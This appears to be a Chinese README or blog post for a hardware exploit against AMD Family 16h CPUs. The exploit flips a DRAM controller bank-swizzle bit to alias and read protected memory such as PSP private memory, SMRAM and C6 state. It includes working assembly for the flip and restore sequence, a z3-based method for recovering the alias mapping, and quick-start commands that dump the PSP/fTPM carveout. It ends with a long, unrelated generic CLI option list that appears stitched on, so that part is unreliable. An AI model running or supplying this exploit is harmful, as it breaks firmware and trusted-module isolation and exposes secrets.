
skitter-creek-bath-salts — 已更新!
在 CPU 上通过 DRAM 加扰解锁 _一切_
skitter-creek-bath-salts
通过 DRAM 扰乱在 CPU 上解锁一切——PSP、C6、微码、SMM,以及规格文档遗漏的所有其他内容。
&x == &x。
通常如此。

拨弄 DRAM 控制器,就能让一个地址落在内存中你想要的任何位置。skitter-creek-bath-salts 修改内存层次结构的底层,重新布线物理 DRAM 地址转换。这会扰乱平台内存,暴露 DRAM 中受保护的区域——那些连内核都看不见的保留区。当地址转换被破坏时,建立在其上的安全原语也随之崩溃,于是我们解锁了一切。
太长不看
目标
在 AMD Family 16h CPU 上开发和测试,这是最后一代数据手册中记录了 DRAM 控制器转换寄存器——并表明它们无法被锁定——的处理器。17h 及之后的世代直接省略了这些信息。*p 的奥德赛在各代际和架构之间是相似的,底层的变换甚至延伸到 ARM、RISC-V 及更远;skitter-creek-bath-salts 向我们展示了仅仅如何开始。
*p 的奥德赛
一路向下,路途漫长。
内存建立在层层抽象之上,深到几乎荒谬。当你的代码解引用 *p 时,看起来像是在访问 p 处的 DRAM。事实并非如此——p 是一个虚拟地址,在触及 DRAM 的任何一个比特之前,它必须通过下面的重重考验:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
本项目工作在 `*p` 流水线的最深层,即 MCT/DCT 层——来自数据交换结构/互连的物理地址在此进入内存控制器,并被最后一次重写为发送至 DIMM 的原始 DRAM 坐标。
---
## 将 DRAM 意面化
> 物理地址其实更像是一种建议。```nasm
xor dword [0xf80c2094], 0x00400000
这就是漏洞利用。全部内容。
DRAM 控制器中的一次位翻转重新连接了 *p 流水线的底部,原本位于 &x 的数据现在在传输途中跑到了别处。突然之间 &x != &x。CPU、固件、uncore 和芯片组用来隔离受保护内存的每一种机制都位于内存控制器之上,而它们没有一个能看到下面发生了什么。这些屏障守护的是物理地址,而非 DRAM 坐标;重新排列坐标,上方的屏障永远不会察觉。
但重新布线 DRAM 很容易。上面的那个位是 DCT 中的 bank-swizzle-mode,它只是控制最终层地址重映射的几十个位之一——你只需拨动它们,就能让建立在其上的一切轰然倒塌。更难的部分是,在系统内存的底层被完全打乱的情况下,保持平台继续运行。
诀窍是:要快,并且不要碰 DRAM。禁用 AP,预热 TLB,加热缓存,禁用中断,刷新目标,串行化内存访问,并寄希望于 CPU 已经预取了即将执行的指令。然后重新布线 MCT/DCT 把 DRAM 搅成一团乱麻,从受保护区域抓取一些数据,恢复映射,再次串行化,启用中断,恢复 AP,平台就恢复正常了。```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
通过对分页、缓存状态、线程和 TLB 进行一些精心的设置,可以从 C 语言中实现地址扰乱,以演示 `*p` 流水线的崩溃,以及当突然出现 `&x != &x` 时平台的损坏视图:

因此,我们可以重新布线映射并恢复它而不留痕迹。剩下的就是知道我们将其重新布线成了什么。
---
## 解锁*一切*
> 平台上的每个受保护内存区域,用计算器即可访问。
通过上述方法,我们可以在运行中的系统上重新编程 MCT/DCT 变换——重新排列 `*p` 流水线的最低阶段,从而在其上构建的每一层保护之下扰乱内存。
但有一个挑战:虽然我们可以用简单的 `xor dword [0xf80c2094], 0x00400000` 重新编程转换,但我们不知道 MCT/DCT 将使用什么新的变换(数据手册在这里描述不足——xor 映射有误,MMIO 减法阶段是无序的,而且细节因型号而异)。没有这些信息,内存会被扰乱,但我们无法重建它。
幸运的是,DRAM 控制器的地址变换是一个 GF(2) 线性映射,这意味着我们可以用基本的线性代数来重建被扰乱的内存。
首先,考虑正常情况:默认 MCT/DCT 配置的前向变换应用于某个物理地址,该地址落在 DRAM 中的某个秘密位置:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
这是内存的连贯视图:*p 流水线的最低阶段完全按预期运行。
现在用 xor dword [0xf80c2094], 0x00400000 重新连接 *p 的 MCT/DCT 阶段,平台便进入一种混乱/意大利面化的内存视图,其中不同的变换允许一个别名到达同一个 DRAM 秘密:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
这个别名让我们能够在不触发为一致视图构建的现有平台锁和防御的情况下访问同一个秘密。要找到这个别名,将攻击/意大利面化哈希的逆与固件/一致哈希的正向组合,以获得能够从恶意 MCT/DCT 配置访问任何秘密的转换:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
唯一的挑战是矩阵未知,这意味着我们完全不知道内存实际上是如何被打乱的,也没有任何变换可以用来首先到达秘密所在之处:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
幸运的是,此时这仅仅是线性代数问题,如果你愿意,甚至可以手工求解这些变换。或者:用计算器。
我们使用 [z3](https://github.com/z3prover/z3)。首先,SMT 求解器需要约束条件才能工作。
从一致视图开始,修改 MCT/DCT 以切换到意面化视图,将某个哨兵值如 `0xdeadc0de` 写入内存中的随机地址,再切换回一致视图,然后扫描内存以寻找哨兵值重新出现的位置。这样就得到了一对(目标,别名)——一个具体的数据点,展示了两个映射到 DRAM 中同一单元的不同物理地址。重复这个过程,收集一些数据,将其传递给 z3,它就能解出在两个视图之间转换所需的变换矩阵——一侧是任意一致视图的物理地址,另一侧是其意面化视图的别名:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
将别名对逐个喂给 z3,让我们能够实时观察 SMT 求解器破译内存扰乱,如开篇图片所示。
解出的变换是一块罗塞塔石碑:一致视图中的任何目标地址都映射到一个别名,该别名在意大利面化视图中到达同一 DRAM。要访问任何受保护的内存,取一个我们通常无法触及的地址——PSP 私有内存、SMRAM、C6 空闲状态——并将其通过变换运行,得到它的别名。然后用 xor dword [0xf80c2094], 0x00400000 重新接线 DCT,读取或写入该别名,再用第二次 xor 切换回来。该别名通过 *p 流水线的路径永远不会碰到平台为一致视图构建的栅栏——对 DRAM 中任何内容的不受限访问。

最终,所有被如此精心隔离的东西——PSP 私有内存、SMRAM、C6 空闲状态,从操作系统、ring-0、有时甚至 CPU 本身都无法访问——仍然坐在同一批 DRAM 电容中。但锁是围绕内存的一致视图构建的,对于到达同一单元的意大利面化别名毫无作用。
翻转 *p 流水线最后一级中的一个比特,我们就解锁了一切。
快速开始:解锁你的平台安全处理器
篡改你的 PSP,看看会发生什么。
fTPM 运行在 PSP 自己的 ARM 核心上,位于可见内存顶部之外的 DRAM 划出区域中。通过将一个操作系统可见的物理地址别名到它上面来访问它,把字节拉出来,反汇编。```sh
Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
- **`--no-verify`**:跳过验证步骤
- **`--no-color`**:禁用彩色输出
- **`--verbose`**:启用详细输出
- **`--quiet`**:抑制非必要输出
- **`--config <path>`**:指定配置文件路径
- **`--output <format>`**:指定输出格式(`json`、`yaml`、`text`)
- **`--timeout <seconds>`**:设置操作超时时间
- **`--retry <count>`**:设置失败操作的重试次数
- **`--parallel <count>`**:设置并行操作的数量
- **`--dry-run`**:模拟执行而不进行更改
- **`--force`**:强制执行操作而不进行确认
- **`--debug`**:启用调试输出
- **`--log-level <level>`**:设置日志级别(`debug`、`info`、`warn`、`error`)
- **`--log-file <path>`**:将日志输出写入指定文件
- **`--profile <name>`**:使用指定的配置配置文件
- **`--env <name>`**:使用指定的环境配置
- **`--region <name>`**:指定目标区域
- **`--endpoint <url>`**:指定自定义 API 端点
- **`--token <value>`**:提供身份验证令牌
- **`--username <value>`**:提供身份验证用户名
- **`--password <value>`**:提供身份验证密码
- **`--api-key <value>`**:提供 API 密钥
- **`--secret <value>`**:提供密钥
- **`--cert <path>`**:指定客户端证书路径
- **`--key <path>`**:指定客户端私钥路径
- **`--ca <path>`**:指定 CA 证书路径
- **`--insecure`**:跳过 TLS 证书验证
- **`--proxy <url>`**:使用指定的代理
- **`--no-proxy`**:绕过代理设置
- **`--header <key:value>`**:添加自定义 HTTP 头
- **`--user-agent <value>`**:设置自定义 User-Agent 头
- **`--cookie <value>`**:添加自定义 Cookie
- **`--follow-redirects`**:跟随 HTTP 重定向
- **`--max-redirects <count>`**:设置最大重定向次数
- **`--rate-limit <value>`**:设置请求速率限制
- **`--concurrency <count>`**:设置并发操作数量
- **`--batch-size <count>`**:设置批处理大小
- **`--page-size <count>`**:设置分页大小
- **`--max-items <count>`**:设置要处理的最大项目数
- **`--filter <expression>`**:应用过滤表达式
- **`--exclude <pattern>`**:排除匹配指定模式的项目
- **`--include <pattern>`**:包含匹配指定模式的项目
- **`--sort <field>`**:按指定字段对结果排序
- **`--order <direction>`**:设置排序方向(`asc`、`desc`)
- **`--format <template>`**:使用指定模板格式化输出
- **`--template <path>`**:指定模板文件路径
- **`--input <path>`**:指定输入文件路径
- **`--output-file <path>`**:指定输出文件路径
- **`--stdin`**:从标准输入读取输入
- **`--stdout`**:写入标准输出
- **`--overwrite`**:覆盖现有文件
- **`--backup`**:在修改前创建备份
- **`--recursive`**:递归处理目录
- **`--depth <count>`**:设置最大递归深度
- **`--exclude-dir <pattern>`**:排除匹配指定模式的目录
- **`--include-dir <pattern>`**:包含匹配指定模式的目录
- **`--follow-symlinks`**:跟随符号链接
- **`--no-follow-symlinks`**:不跟随符号链接
- **`--preserve-permissions`**:保留文件权限
- **`--preserve-ownership`**:保留文件所有权
- **`--preserve-timestamps`**:保留文件时间戳
- **`--checksum`**:验证文件校验和
- **`--algorithm <name>`**:指定哈希算法(`md5`、`sha1`、`sha256`、`sha512`)
- **`--encoding <name>`**:指定字符编码
- **`--line-ending <type>`**:指定行结束符类型(`lf`、`crlf`)
- **`--compress`**:压缩输出
- **`--decompress`**:解压缩输入
- **`--archive <format>`**:指定归档格式(`zip`、`tar`、`gz`)
- **`--extract`**:提取归档内容
- **`--list`**:列出归档内容
- **`--test`**:测试归档完整性
- **`--split <size>`**:将输出拆分为指定大小的块
- **`--merge`**:合并拆分文件
- **`--encrypt`**:加密输出
- **`--decrypt`**:解密输入
- **`--sign`**:对输出进行签名
- **`--verify`**:验证签名
- **`--keyring <path>`**:指定密钥环路径
- **`--passphrase <value>`**:提供密码短语
- **`--passphrase-file <path>`**:从文件读取密码短语
- **`--no-passphrase`**:不使用密码短语
- **`--interactive`**:启用交互模式
- **`--non-interactive`**:禁用交互模式
- **`--yes`**:对所有提示回答“是”
- **`--no`**:对所有提示回答“否”
- **`--prompt <message>`**:显示自定义提示
- **`--confirm <message>`**:显示确认提示
- **`--progress`**:显示进度信息
- **`--no-progress`**:隐藏进度信息
- **`--stats`**:显示统计信息
- **`--summary`**:显示摘要
- **`--report <format>`**:生成指定格式的报告
- **`--report-file <path>`**:将报告写入指定文件
- **`--exit-code <code>`**:设置退出码
- **`--ignore-errors`**:忽略错误并继续
- **`--fail-fast`**:遇到第一个错误时停止
- **`--continue-on-error`**:出错时继续
- **`--max-errors <count>`**:设置最大错误数
- **`--warnings-as-errors`**:将警告视为错误
- **`--strict`**:启用严格模式
- **`--lenient`**:启用宽松模式
- **`--compatibility <version>`**:设置兼容性版本
- **`--legacy`**:启用旧版行为
- **`--experimental`**:启用实验性功能
- **`--feature <name>`**:启用指定功能
- **`--disable-feature <name>`**:禁用指定功能
- **`--plugin <path>`**:加载插件
- **`--plugin-dir <path>`**:从目录加载插件
- **`--no-plugins`**:禁用所有插件
- **`--extension <name>`**:启用扩展
- **`--disable-extension <name>`**:禁用扩展
- **`--module <name>`**:加载模块
- **`--no-modules`**:禁用所有模块
- **`--hook <name>`**:注册钩子
- **`--pre-hook <command>`**:在操作前运行命令
- **`--post-hook <command>`**:在操作后运行命令
- **`--on-error <command>`**:出错时运行命令
- **`--on-success <command>`**:成功时运行命令
- **`--shell <path>`**:指定 shell 路径
- **`--shell-args <args>`**:指定 shell 参数
- **`--working-dir <path>`**:设置工作目录
- **`--temp-dir <path>`**:设置临时目录
- **`--cache-dir <path>`**:设置缓存目录
- **`--data-dir <path>`**:设置数据目录
- **`--log-dir <path>`**:设置日志目录
- **`--config-dir <path>`**:设置配置目录
- **`--home-dir <path>`**:设置主目录
- **`--no-cache`**:禁用缓存
- **`--clear-cache`**:清除缓存
- **`--cache-ttl <seconds>`**:设置缓存生存时间
- **`--offline`**:离线工作
- **`--online`**:在线工作
- **`--sync`**:同步数据
- **`--async`**:异步运行
- **`--wait`**:等待操作完成
- **`--no-wait`**:不等待操作完成
- **`--background`**:在后台运行
- **`--foreground`**:在前台运行
- **`--daemon`**:作为守护进程运行
- **`--pid-file <path>`**:将 PID 写入指定文件
- **`--lock-file <path>`**:使用锁文件
- **`--no-lock`**:禁用锁定
- **`--signal <name>`**:发送信号
- **`--kill`**:终止进程
- **`--restart`**:重启进程
- **`--reload`**:重新加载配置
- **`--status`**:显示状态
- **`--health`**:检查健康状态
- **`--version`**:显示版本信息
- **`--help`**:显示帮助信息
- **`--usage`**:显示用法信息
- **`--examples`**:显示示例
- **`--man`**:显示手册页
- **`--docs`**:打开文档
- **`--about`**:显示关于信息
- **`--license`**:显示许可证信息
- **`--credits`**:显示致谢信息
- **`--changelog`**:显示更新日志
- **`--completion <shell>`**:生成 shell 补全脚本
- **`--generate-config`**:生成默认配置文件
- **`--validate-config`**:验证配置文件
- **`--dump-config`**:转储有效配置
- **`--show-config`**:显示当前配置
- **`--reset-config`**:将配置重置为默认值
- **`--import-config <path>`**:导入配置
- **`--export-config <path>`**:导出配置
- **`--migrate-config`**:迁移配置
- **`--upgrade`**:升级到最新版本
- **`--downgrade`**:降级到先前版本
- **`--install`**:安装组件
- **`--uninstall`**:卸载组件
- **`--update`**:更新组件
- **`--check-update`**:检查更新
- **`--auto-update`**:自动更新
- **`--no-update`**:禁用更新
- **`--rollback`**:回滚到先前状态
- **`--snapshot`**:创建快照
- **`--restore <snapshot>`**:从快照恢复
- **`--list-snapshots`**:列出可用快照
- **`--delete-snapshot <name>`**:删除快照
- **`--prune`**:清理未使用的资源
- **`--gc`**:运行垃圾回收
- **`--optimize`**:优化性能
- **`--benchmark`**:运行基准测试
- **`--profile-performance`**:分析性能
- **`--trace`**:启用跟踪
- **`--trace-file <path>`**:将跟踪写入指定文件
- **`--metrics`**:启用指标
- **`--metrics-file <path>`**:将指标写入指定文件
- **`--telemetry`**:启用遥测
- **`--no-telemetry`**:禁用遥测
- **`--analytics`**:启用分析
- **`--no-analytics`**:禁用分析
- **`--crash-report`**:启用崩溃报告
- **`--no-crash-report`**:禁用崩溃报告
- **`--feedback`**:发送反馈
- **`--support`**:联系支持
- **`--community`**:加入社区
- **`--contribute`**:贡献代码
